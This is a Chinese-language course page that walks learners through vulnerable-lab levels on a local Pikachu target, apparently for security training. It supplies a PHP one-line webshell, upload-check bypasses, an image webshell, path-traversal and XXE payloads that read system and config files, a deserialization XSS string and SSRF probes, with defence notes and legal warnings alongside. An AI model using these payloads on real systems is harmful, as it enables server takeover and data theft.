我爱换客网红队成长之路
← 返回路线图 登录
靶场实战 · 07

文件上传(3 关)

Pikachu 靶场 · 3 关 · 难度 ★★☆ · 预计 60 分钟
📚 靶场目录 📋 打卡表 ← 上一模块 下一模块 →
文件上传漏洞=允许攻击者把可执行脚本(webshell)传到服务器上,然后用蚁剑连接它,远程控制服务器。3 个关卡演示了 3 种常见校验方式及其绕过。核心思想:任何前端校验都是纸做的,任何服务端校验都要看它校验了什么、怎么校验的。

动手前先准备:写一个一句话木马 evil.php(Windows 用记事本,保存时文件名写 evil.php、编码选 UTF-8):

<?php @eval($_POST['cmd']); ?>

解释:eval 执行传入的 PHP 代码;$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。

第 1 关client check(前端校验)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php
过关标准:上传 evil.php 成功,蚁剑连接拿到 webshell
💡 类比故事门卫(前端 JS)说"只许图片进",但这个门卫只在门口喊一嗓子,货到了仓库(服务器)没人查。你绕开门口(用 Burp 直接发包),服务器照单全收。

原理白话:只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包,服务器照单全收。

看源码:页面 JS 有 checkFileExt() 之类函数在提交前拦 .php;服务端 PHP 无任何校验。

📋 详细步骤
  1. 选 evil.php 点上传 → JS 弹"只允许图片"(体会前端拦路)
  2. Burp 开拦截再点上传 → 抓到请求 → 找到 filename="evil.php"(如果它是被改成 .jpg 才过的 JS 校验,就把它改回 evil.php)
  3. Forward 放行 → 上传成功,页面返回文件路径(记下,形如 unsafeupload/uploads/2026xxxx.php)
  4. 用中国蚁剑连接该路径(2.3 节):URL 填 http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php,密码填 cmd
  5. 连接成功 → 打开虚拟终端输入 whoami 回车 → 出现用户名 → webshell 上线,通关
📷 练习截图:中国蚁剑连接成功界面(虚拟终端执行 whoami)

过关标准达成:webshell 上线。学习要点:前端校验只是"体验优化",不是安全措施。

🧯 卡住了?对号入座
  • 现象:Burp 里找不到上传请求 → 原因:Intercept 没开;或文件太大请求没进来。重试一次
  • 现象:蚁剑连不上 → 原因:①路径拼错(复制页面返回的完整路径);②密码不是 cmd;③PHP 版本不是 5.6
🛡 防御视角服务端校验后缀 + 文件内容检测 + 上传目录禁用脚本执行(nginx 对该目录 location ~ \.php$ { deny all; })+ 重命名文件(强制改扩展名为无害类型)。
🤔 想一想:如果服务器把上传文件名强制改成 .jpg,木马还能执行吗?
答:不能直接执行,但配合文件包含/解析漏洞仍可能——引出下一关的图片马

第 2 关MIME type(Content-Type 校验)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/servercheck.php
过关标准:改 Content-Type 后上传成功,蚁剑连接
💡 类比故事这次仓库管理员查货了,但查的是快递单上的"物品声明"——"你这单写的是图片"。可快递单是你自己填的,把"程序"改成"图片"就行。Content-Type 是"自称",不是"真相"。

原理白话:服务器校验的是请求头里的 Content-Type("文件类型声明")。这个字段由客户端说了算,改一下就行。

看源码:

// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝
📋 详细步骤
  1. 直接上传 evil.php → 被拒(体会服务端在查)
  2. Burp 抓上传请求 → 找到 Content-Type: application/octet-stream(或 text/php)
  3. 改成 Content-Type: image/jpeg
  4. 放行 → 上传成功 → 蚁剑连接(同 3.7.1 第 4-5 步)

过关标准达成:绕过成功。学习要点:Content-Type 是"自称",不是"真相"——真正可靠的内容识别要看文件头字节(magic number)。

🧯 卡住了?对号入座
  • 现象:Burp 改了 Content-Type 还是被拒 → 原因:确认改的是请求头 Content-Type: image/jpeg(冒号后有空格),用 Repeater 重发;白名单是 image/gif、image/jpeg、image/png
  • 现象:Burp 拦不到上传请求 → 原因:回 2.2.3 检查代理;浏览器操作上传时 Intercept 要处于 on
  • 现象:上传成功但访问 404 → 原因:看响应里的存储路径,按实际路径访问
🛡 防御视角服务端读文件头判断真实类型 + 后缀白名单 + 存储隔离。
🤔 想一想:攻击者改 Content-Type 为什么能骗过服务器?
答:这个字段本来就是客户端生成的元数据,可任意伪造

第 3 关getimagesize(图片马)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
过关标准:图片马上传成功,配合文件包含执行出 PHP 代码结果
💡 类比故事仓库管理员学聪明了,打开包裹检查内容(getimagesize 验证文件头是真图片)。绕过思路:包裹是真的,但真图片里夹带了 PHP 代码——"图片马"。图片是真的(能过检查),夹带的代码是"走私货"。

原理白话:服务器用 getimagesize() 检查文件头,确认是真图片。绕过思路:图片是真的,但里面夹带 PHP 代码。

📋 详细步骤
  1. 制作图片马(Windows 的 CMD 里执行):

copy /b 正常图片.jpg + evil.php 图片马.jpg (macOS 终端:cat 正常图片.jpg evil.php > 图片马.jpg) (没有现成图片就随便截个图保存为 jpg)

  1. 上传图片马 → 通过 getimagesize 校验(它开头是合法图片头)
  2. 服务器存为 .jpg 后缀,直接访问不会执行 PHP(先试一下直接访问,看到乱码/图片——理解为什么)
  3. 配合 3.6.1 本地文件包含执行它:

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg

  1. 包含时 jpg 里的 PHP 代码被执行 → 页面出现代码执行结果

过关标准达成:理解"图片马 + 文件包含"组合拳。学习要点:单独看上传校验很严,但和其他漏洞组合后依然被打穿——安全是体系,不是单点。

🧯 卡住了?对号入座
  • 现象:图片马上传被拒 → 原因:文件头必须是真实图片(GIF89a 开头等),纯 PHP 文件过不了 getimagesize 校验
  • 现象:上传后直接访问不执行 → 原因:正常——图片马后缀是 .jpg 不交给 PHP 解释器,要配合文件包含(3.6)去执行
  • 现象:制作图片马失败 → 原因:Windows 下在 cmd 里执行 copy /b 图片.jpg + 木马.php 合成.jpg;或十六进制编辑器在图片尾部追加 PHP 代码
🛡 防御视角上传目录禁执行脚本(治本)+ 文件包含白名单 + 图片二次渲染压缩(如重新生成缩略图,夹带代码会被洗掉)。
🤔 想一想:为什么图片马直接访问不执行?
答:.jpg 后缀不会交给 PHP 解释器;必须借文件包含让 PHP 引擎去读它
入口:http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php
过关标准:下载到靶场的数据库配置文件
💡 类比故事网站提供"文件下载",你点哪个文件名它就让你下载哪个——但它不检查"这个文件是不是允许下载的"。你把文件名改成内部的账本路径,它照样打包给你。下载接口和文件包含是"近亲":一个把内容读出来给攻击者,一个把内容执行出来。

原理白话:下载接口按用户传的文件名拼接路径读取文件,无校验 → 任意文件下载。

看源码:

$filename = $_GET['filename'];
$file = file_get_contents($filename);   // 用户可控
📋 详细步骤
  1. 正常点"下载" → 下载一个 txt(先看正常流程)
  2. Burp 抓请求改参数:?filename=../inc/config.inc.php → 直接下载到靶场数据库配置(含账号密码)
  3. Windows 进阶:?filename=..\..\..\..\windows\win.ini;macOS:?filename=../../../../etc/passwd

过关标准达成:敏感配置文件到手。学习要点:下载接口和文件包含是"近亲"——一个读内容给攻击者,一个把内容执行出来。

🧯 卡住了?对号入座
  • 现象:改 filename 加 ../ 后被拦/无效 → 原因:①浏览器可能对 URL 里的 ../ 做归一化,用 Burp 抓包改最稳;②确认目标文件真实存在(如 pikachu 的 config.inc.php)
  • 现象:下载到空内容 → 原因:层数不对,从当前目录逐层数,多试几层 ../../../
  • 现象:提示文件不存在 → 原因:路径拼错,先穿越读一个确定存在的文件验证基本穿越可用
🛡 防御视角文件 ID 映射(传 id 查表,不传路径)+ 白名单目录 + 禁止 ../ 穿越字符。
🤔 想一想:下载配置文件的危害是什么?
答:拿到数据库口令,可能直接进数据库或反查其他系统复用密码
越权=身份验证做了一半。服务器验证了"你是登录用户",但没有验证"这条数据/这个功能是不是你的"。分两种:水平越权(访问同级别人的数据)和垂直越权(低权限访问高权限功能)。类比:小区门卫只查"你有没有门禁卡",不查"你进的这栋楼、这间房是不是你的"。

第 1 关水平越权

入口:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php(lucy / 123456 登录)
过关标准:用 lucy 的账号看到 vince 的个人信息
💡 类比故事查询个人信息的接口用 URL 里的 username 参数查数据——只校验了"登录没登录",没校验"这个 username 是不是你自己的"。你把 URL 里的名字改成别人,就看到了别人的信息。像银行柜员:你说"我查一下王五的余额",柜员只确认了"你是本行客户",没确认"王五是不是你"。

原理白话:服务器用客户端传来的 username 参数查库,身份校验缺失。

看源码:

// 只检查了登录态,直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";
📋 详细步骤
  1. 用 lucy / 123456 登录,查看自己的信息,URL 形如 ?username=lucy
  2. 把 URL 改成 ?username=vince → 看到了 vince 的个人信息(手机号、邮箱等)
  3. 依次换成 allen、kobe……全部可见

过关标准达成:任意同级别用户信息可读。学习要点:"对象级授权"缺失——OWASP 把它列为 API 安全第一大问题(BOLA)。

🧯 卡住了?对号入座
  • 现象:改了 username 还是显示自己的信息 → 原因:①确认当前登录的是 lucy;②确认改的是 URL 里的 username 参数(GET),改完回车刷新
  • 现象:看不到"查看个人信息"入口 → 原因:先登录(lucy / 123456),登录后才有个人主页链接
  • 现象:改成 lili 后报错 → 原因:账号名拼写(lili 不是 lily),对照关卡提示的账号列表
🛡 防御视角用 session 里的身份取数据(where username=$_SESSION['user']),不让客户端传身份标识。
🤔 想一想:如果这关改的是 ?username=admin 会怎样?
答:能看到管理员信息——水平越权和垂直越权经常连着发生

第 2 关垂直越权

入口:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_login.php(pikachu / 000000 普通用户登录)
过关标准:普通用户自封管理员,用新管理员账号登录成功
💡 类比故事管理员才能用的"添加用户"按钮,普通用户页面上看不到(前端隐藏了)。但"看不到"≠"不能用"——接口还在那,你直接输入管理员的网址就进去了。前端隐藏只是把门帘拉上,门根本没锁。

原理白话:前端把"添加用户"按钮隐藏了(普通用户看不到),但后端接口没有做权限校验——直接访问接口照样能用。

看源码:管理员页面 op2_admin.php 处理添加用户请求,没有任何"当前用户是否是管理员"的判断。

📋 详细步骤
  1. 用普通用户 pikachu / 000000 登录 → 页面确实没有"添加用户"按钮(前端隐藏,先确认)
  2. 直接访问管理员功能页:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php
  3. 通过该页添加一个新管理员(如 admin2 / 123456)
  4. 退出,用 admin2 / 123456 登录 → 已是管理员权限,提权成功
📷 练习截图:普通用户访问 op2_admin.php 添加管理员账号

过关标准达成:普通用户自封管理员。学习要点:前端隐藏 ≠ 权限控制,权限必须后端每个接口都校验。

🧯 卡住了?对号入座
  • 现象:pikachu 登录后没有"删除用户"按钮 → 原因:正常——普通用户本来就不该有。越权思路:把 admin 才有的操作 URL 直接发给服务器(Burp 里以 pikachu 身份请求)
  • 现象:直接访问 admin 的 URL 跳到登录页 → 原因:要先以普通账号登录获得 session,再带着 session 请求 admin 接口;接口 URL 在详细步骤里
  • 现象:删除操作没生效 → 原因:确认请求方法(GET/POST)与参数一致,抓包看服务端返回
🛡 防御视角后端每个功能点校验角色(如中间件/注解统一做 RBAC)+ 前端隐藏只是体验优化。
🤔 想一想:为什么攻击者能"发现"这个隐藏页面?
答:页面路径在 JS/HTML 源码里能找到,且 Web 页面无秘密可言——前端所有内容都能被看到
入口:http://127.0.0.1/pikachu/vul/dir_list/dir_list.php
过关标准:页面显示任意文件内容
💡 类比故事和文件下载(3.8)同一个病根,区别只是"直接显示在页面上"还是"下载保存"。同样是"你要什么文件我给什么文件",用 ../ 爬到系统目录随便看。

原理白话:页面按用户传的 title 参数读取文件内容,无校验 → 路径穿越读任意文件。

📋 详细步骤
  1. 正常点标题 → 读出对应 txt(先看正常流程)
  2. macOS:?title=../../../../etc/passwd
  3. Windows:?title=..\..\..\..\windows\win.ini
  4. 实战目标:?title=../inc/config.inc.php 读数据库配置

过关标准达成:任意文件内容显示。

🧯 卡住了?对号入座
  • 现象:title 参数加 ../ 没效果 → 原因:确认参数名是 title;层数逐级加,先一个 ../ 看列出的目录
  • 现象:页面只显示文件列表没有报错 → 原因:正常,目录遍历的回显就是列出的文件名,继续加 ../ 上跳
  • 现象:Windows 路径不通 → 原因:/ 与 \ 都试;确保拼接后的路径存在
🛡 防御视角白名单映射 + 过滤 ../(正确做法是根本不接收路径,只接收 id)。
🤔 想一想:目录遍历和本地文件包含看起来一样,本质区别是什么?
答:遍历只是"读出来",包含是"执行"——LFI 可升级 RCE,危险得多
入口:http://127.0.0.1/pikachu/vul/infoleak/
过关标准:拿到隐藏在页面源码里的账号
💡 类比故事开发者把"小抄"(账号、隐藏路径)写在网页注释、备份文件里,以为"没人会看"。但网页源代码对所有人可见,没有秘密——按 F12 就能看。这关教你养成"看源码找宝贝"的习惯,这个习惯在 SRC 实战里能直接捡漏。

原理白话:开发者把敏感信息(账号、隐藏路径)放在网页注释、备份文件等"以为没人看"的地方。

📋 详细步骤
  1. 打开关卡页面 → F12 查看网页源代码 → 发现 HTML 注释里有隐藏提示("看看你的 abc"之类)

(HTML 注释长这样:<!-- 我是注释,页面上不显示 -->)

  1. 按提示访问 /vul/infoleak/abc.php → 页面显示隐藏的账号密码

过关标准达成:拿到隐藏账号。学习要点:真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。

🧯 卡住了?对号入座
  • 现象:页面上找不到信息 → 原因:按 F12 或 Ctrl+U 查看页面源代码(不是页面显示的内容),重点看 HTML 注释里的账号密码
  • 现象:看了源码还是没有 → 原因:确认入口页面正确(按关卡提示的页面进);注释里藏着测试账号
  • 现象:找到账号但登录不了 → 原因:复制时别带多余空格;确认是靶场的登录账号
🛡 防御视角生产环境不写敏感注释、不上传备份、git clone 部署改为构建产物部署、统一敏感信息扫描(gitleaks 类工具)。
🤔 想一想:真实网站里"敏感信息泄露"最常见的形式有哪些?
答:源码备份文件、git/svn 目录、报错信息暴露路径、API 接口文档未删
入口:http://127.0.0.1/pikachu/vul/unserilization/unser.php
过关标准:构造序列化字符串,触发弹窗
💡 类比故事序列化=把物体打包成"规格说明书"(字符串,方便运输/存储);反序列化=按说明书把物体重新组装。问题在于:组装的过程中(构造方法)会执行代码。如果攻击者能控制说明书内容,就能在"组装"时夹带自己的指令。

原理白话:序列化=把对象存成字符串,反序列化=把字符串变回对象。如果对象创建时(构造方法)会执行代码,而攻击者能控制序列化字符串,就能触发代码执行。

看源码:

class S {
    var $test = "pikachu";
    function __construct() {
        echo $this->test;      // 对象创建即输出
    }
}
$s = unserialize($_GET['s']);  // 直接反序列化用户输入
📋 详细步骤
  1. 访问:http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
  2. 弹窗即通关
  3. 解释字符串格式(重点):
  1. 反序列化时 __construct 被触发 → 输出我们伪造的 test → XSS 弹窗

过关标准达成:弹窗。学习要点:长度必须数对,差一个字符就失败——体会"构造 payload 要严谨"。深入一步:真实世界的反序列化 RCE 靠"魔术方法链"(gadget chain),入门阶段了解即可,进阶可深入研究。

🧯 卡住了?对号入座
  • 现象:没弹窗 → 原因:长度数错了。s:29 里的 29 必须等于引号内字符串的实际字符数(<script>alert('xss')</script> 正好 29 个字符)。逐字符数一遍
🛡 防御视角不反序列化用户输入;必须反序列化时用白名单类 + 校验签名。
🤔 想一想:为什么这一关的 payload 长度错了就失败?
答:序列化格式用长度定位字段,长度错位整个结构解析失败
入口:http://127.0.0.1/pikachu/vul/xxe/xxe_1.php
过关标准:提交恶意 XML 后,页面回显系统文件内容
💡 类比故事XML 是种数据格式(和 HTML 长得像)。应用解析你提交的 XML 时,如果允许"外部实体",你可以在 XML 里声明"这里的内容,去读 C 盘那个文件"——解析器会乖乖去读并回显。XML 不只传数据,还能"指使"解析器干活。

原理白话:应用解析用户提交的 XML 时,如果允许"外部实体",攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL,XML 解析器会乖乖去读取并回显。

📋 详细步骤
  1. 页面表单输入恶意 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

(解释:<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体,指向系统文件;<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来)

  1. 提交 → 解析结果里出现 /etc/passwd 内容(macOS)
  2. Windows 版本把实体改为:SYSTEM "file:///c:/windows/win.ini"
  3. 进阶:读靶场配置 file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php(按实际路径)

过关标准达成:任意本地文件被读出。

🧯 卡住了?对号入座
  • 现象:实体没回显 → 原因:①DOCTYPE 声明位置和格式要对(在根元素前);②看响应里实体被展开的位置
  • 现象:报"外部实体加载失败" → 原因:若 PHP/libxml 已禁用外部实体则本关打不出(PHPStudy 的 PHP 5.6 默认可);先排除 XML 语法错误
  • 现象:file:// 读不到文件 → 原因:Windows 下路径写 file:///C:/Windows/win.ini(三个斜杠);Linux 用 /etc/passwd
🛡 防御视角禁止外部实体加载(libxml 中 libxml_disable_entity_loader(true),或用 JSON 替代 XML)。
🤔 想一想:XXE 和 SSRF 有什么联系?
答:外部实体可以指向内网 URL,让服务器代理访问内网——XXE 常作为 SSRF 的载体
入口:http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php
过关标准:改 url 参数实现任意跳转
💡 类比故事网站有个"中转站":点链接先到官网的跳转接口,再被送到目标页。这个接口不检查目标地址——攻击者把目标改成钓鱼站,用户看到链接开头是官网域名就放松了警惕,点进去却是假网站。"官方域名 + 跳转参数 = 看起来可信的钓鱼链接",是钓鱼的核心帮凶。

原理白话:跳转接口信任用户传的目标地址,跳转到钓鱼站点时用户毫无防备(地址栏一开始是可信域名)。

📋 详细步骤
  1. 页面上点链接 → 跳转目标由 ?url= 参数控制(先正常点一次看流程)
  2. 改成:?url=https://www.baidu.com → 跳到百度(证明任意跳转成立)
  3. 危险演示:?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS

过关标准达成:任意跳转成立。

🧯 卡住了?对号入座
  • 现象:改了 url 参数没跳转 → 原因:①确认参数名是 url;②改完要点页面上的"跳转"按钮/链接才会触发
  • 现象:跳转被浏览器拦 → 原因:用完整 URL(http://www.baidu.com);本地靶场跳外网属正常,浏览器一般不会拦
  • 现象:跳转后不知道算不算通关 → 原因:跳到目标网站即通关,重点是理解"站点做了跳转但没校验目标"的风险
🛡 防御视角跳转目标白名单(只允许本站 URL)+ 拒绝 javascript: 等协议。
🤔 想一想:为什么攻击者不直接发钓鱼链接,要借跳转?
答:借用可信域名增加可信度,绕过邮件/社交平台对陌生域名的告警
SSRF=让服务器替攻击者发请求。类比:攻击者打不进"内网"(比如公司内部系统),但内网里的服务器能访问内网。如果网站的某个功能允许"填一个 URL,我替你访问并显示结果",攻击者就把 URL 填成内网地址——服务器成了攻击者的"内应"。防火墙防外网,SSRF 从内网打内网。

SSRF 内网穿透原理

第 1 关SSRF(curl)

入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php
过关标准:回显靶场"内网信息页"内容
💡 类比故事网站有个"URL 查看"工具:你给个网址,服务器用 curl 访问并把内容回显给你。你填自己电脑的网址 127.0.0.1——注意,这是服务器自己访问自己(服务器和你同一台机器)。填靶场内网信息页,就能看到"只有内网才能看"的内容。

原理白话:页面提供一个"URL 查看"工具,服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。

看源码:

$url = $_GET['url'];
echo curl_exec($ch);   // curl 用户可控的 URL
📋 详细步骤
  1. 输入 http://127.0.0.1/pikachu/ → 正常回显(注意:这是服务器自己访问自己,体会"服务器替你发请求")
  2. 读靶场内网信息页:http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息
📷 练习截图:SSRF 回显内网信息页内容
  1. macOS:file:///etc/passwd 直接读本地文件(curl 支持 file 协议)
  2. 了解内网探测思路:把 127.0.0.1 换成内网 IP 段(如 192.168.1.1)逐个探测端口——这就是打内网的入口(真实环境中这才是 SSRF 的完整用法,靶场里了解思路即可)

过关标准达成:内网资源被"借"服务器之手访问。

🧯 卡住了?对号入座
  • 现象:请求没回显 → 原因:url 参数要传完整地址(含 http://);先试 http://127.0.0.1/pikachu 这种靶场自身地址
  • 现象:返回错误/超时 → 原因:目标端口没开服务属正常;本关重点在"服务器替你去访问了内网地址"
  • 现象:读不到内网其他机器 → 原因:靶场在你电脑上,"内网"就是本机各端口;换 127.0.0.1 的其他端口试
🤔 想一想:curl 这关能直接读服务器本机文件吗?
答:curl 默认打 http 协议;要读文件得配合 file:// 或靠下一关 file_get_contents,这正是两关能力的区别
🛡 防御视角URL 白名单 + 禁止内网地址段(127.0.0.0/8、10.0.0.0/8、192.168.0.0/16、169.254.0.0/16)+ 禁止 file/dict/gopher 等协议。

第 2 关SSRF(file_get_contents)

入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php
过关标准:回显内网信息页内容
💡 类比故事同上,只是服务器"替你访问"用的函数换了一个(PHP 的 file_get_contents() 同样支持 URL 和 file 协议)。理解:危险的不是函数,而是"未校验的用户可控 URL"。

原理白话:同上,只是读取函数换成 PHP 的 file_get_contents(),它同样支持 URL 和 file 协议。

📋 详细步骤
  1. ?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显
  2. macOS:?file=file:///etc/passwd → 本地文件读取
  3. 与 curl 版对照,理解"危险的不是函数,而是未校验的用户可控 URL"

过关标准达成:内网访问成立。

🧯 卡住了?对号入座
  • 现象:file:// 协议失败 → 原因:确认 allow_url_fopen 开启;Windows 用 file:///C:/Windows/win.ini,Linux 用 file:///etc/passwd
  • 现象:返回空白 → 原因:文件不存在或路径错;先读一个确定存在的文本文件
  • 现象:http 也不行 → 原因:与 3.15.1 相同,确认 url 参数完整(含协议头)
🛡 防御视角同 3.15.1。
🤔 想一想:SSRF 探测内网端口时,怎么判断端口是否开放?
答:看响应差异——返回内容/响应时间/错误信息不同

每通一关,在 □ 里打钩。建议配合"过关标准"自查,全部打钩后你就是这套靶场的全通选手了。

暴力破解(4 关)

XSS(10 关)

CSRF(3 关)

SQL 注入(10 关)

RCE(2 关)

文件包含(2 关)

文件上传(3 关)

文件下载(1 关)

越权(2 关)

目录遍历(1 关)

敏感信息泄露(1 关)

PHP 反序列化(1 关)

XXE(1 关)

URL 跳转(1 关)

SSRF(2 关)

漏洞类型一句话成因一句话防御
暴力破解无次数限制、验证码失效失败锁定 + 服务端一次性验证码 + token
XSS用户输入进 HTML 未编码输出按上下文编码(htmlspecialchars/JS转义/URL协议白名单)
CSRF浏览器自动带 Cookie + 无来源校验CSRF Token + SameSite + 关键操作二次确认
SQL 注入输入拼进 SQL 语句参数化查询(一切注入的正解)
RCE输入拼进命令/eval白名单 + 禁危险函数 + 最小权限
文件包含文件名参数可控白名单 + 关闭 allow_url_include
文件上传校验可绕过、脚本可执行服务端内容校验 + 上传目录禁执行 + 重命名
文件下载/目录遍历路径参数可控id 映射 + 拒绝 ../
越权只验登录不验归属/角色对象级授权(用 session 身份取数)+ 接口级 RBAC
信息泄露注释/备份/报错藏敏感信息上线前敏感扫描 + 统一错误页
反序列化反序列化用户输入不反序列化不可信输入 / 白名单类
XXEXML 外部实体未禁用禁用 DTD/外部实体
URL 跳转跳转目标未校验域名白名单 + 协议白名单
SSRF服务器代发请求目标未校验URL 白名单 + 禁内网地址/危险协议

暴力破解

  1. 简述验证码绕过(on server)关卡为什么同一个验证码能反复用?(要点:session 未销毁,一次性机制缺失)
  2. token 防爆破关卡的 token 从哪来?为什么爆破工具不能直接重用?(要点:服务端生成、每次刷新、攻击者拿不到新值)
  3. 设计一个登录接口的三个防爆破措施。(要点:锁定/限流/验证码/token 任选三)

XSS

  1. 反射型、存储型、DOM 型三种 XSS 的区别?(要点:是否入库、是否经服务器、危害范围)
  2. 为什么过滤 <script> 关键字防不住 XSS?举两个绕过例子。(要点:img onerror、svg onload、大小写等)
  3. htmlspecialchars 使用正确(ENT_QUOTES)但输出在 href 里,还有风险吗?(要点:javascript: 协议,需协议白名单)
  4. 盲打 XSS 的目标是谁?为什么选择打后台?(要点:管理员权限高、后台防护常被忽视)

CSRF

  1. 用一句话解释 CSRF 为什么能成立?(要点:浏览器自动携带 Cookie,服务器无法区分"本人操作"与"被伪造请求")
  2. GET 改 POST 能防 CSRF 吗?为什么?(要点:不能,POST 也能被自动提交表单伪造)
  3. CSRF Token 为什么攻击者拿不到?(要点:随机生成、同源策略保护、不在攻击者可读处)

SQL 注入

  1. 字符型注入 payload 1' or '1'='1 中每个部分的作用?(要点:闭合、恒真、语法补全)
  2. 报错注入利用了什么机制把数据带出来?(要点:updatexml 等函数参数不合法→报错信息包含数据)
  3. 布尔盲注和时间盲注分别靠什么"信使"传数据?(要点:页面真假差异 / 响应时间)
  4. 宽字节注入为什么能绕过 addslashes?(要点:GBK 多字节吞掉反斜杠)
  5. 为什么参数化查询能防所有 SQL 注入?(要点:语句结构与数据分离,数据不再被解析为代码)

RCE / 文件包含 / 文件上传

  1. 命令注入里 ; & && | 分别是什么作用?(要点:顺序/后台/与/管道)
  2. 图片马为什么直接访问不执行、配合文件包含就执行?(要点:后缀不交 PHP 解释器 vs include 强制解析)
  3. 文件上传的三道正确防线?(要点:服务端内容校验、目录禁执行、重命名存储)

越权 / 信息泄露

  1. 水平越权和垂直越权的区别?(要点:同级别横向 vs 低权限上探高权限)
  2. "前端隐藏按钮"为什么不算权限控制?(要点:前端内容攻击者全可见,必须后端校验)

进阶漏洞

  1. XXE 中的 DTD 和实体是什么?(要点:DTD 定义结构、ENTITY 声明引用,外部实体可指向文件/URL)
  2. SSRF 为什么能突破防火墙?(要点:请求由内网服务器发出,防火墙放行)
  3. PHP 反序列化漏洞的根源是什么?(要点:unserialize 执行魔术方法,数据可控即代码可控)

期末实操考核说明(供参考):随机抽 3 关独立通关(不允许看手册),提交通关报告(截图 + 原理 + 修复建议)。

  1. 只能在本地靶场练习。对任何非授权系统(包括学校官网、同学电脑、云主机)测试漏洞,均可能触犯《刑法》第 285 条(非法侵入计算机信息系统罪)、第 286 条(破坏计算机信息系统罪)和《网络安全法》第 27 条
  2. 练习限 127.0.0.1 和本机局域网靶场;不得把攻击流量发到互联网真实网站
  3. 不传播、不出售攻击工具与手册给非课程同学;通关报告不公开发布
  4. 将来参与 SRC(漏洞赏金)平台时,须遵守平台授权范围,越界即违法
  5. 强调:学习攻击技术是为了防御,安全从业者的第一素质是底线意识
本手册全部 payload 均针对本地 Pikachu 靶场环境,仅用于学习练习。使用时请按实际部署路径/端口微调。

🎯 本模块打完?去「通关打卡表」打钩——进度存账号,换设备不丢。

我爱换客网 · 红队成长之路 | 靶场内容仅供本地环境学习,请勿对未授权目标使用 | 靶场目录 | 返回路线图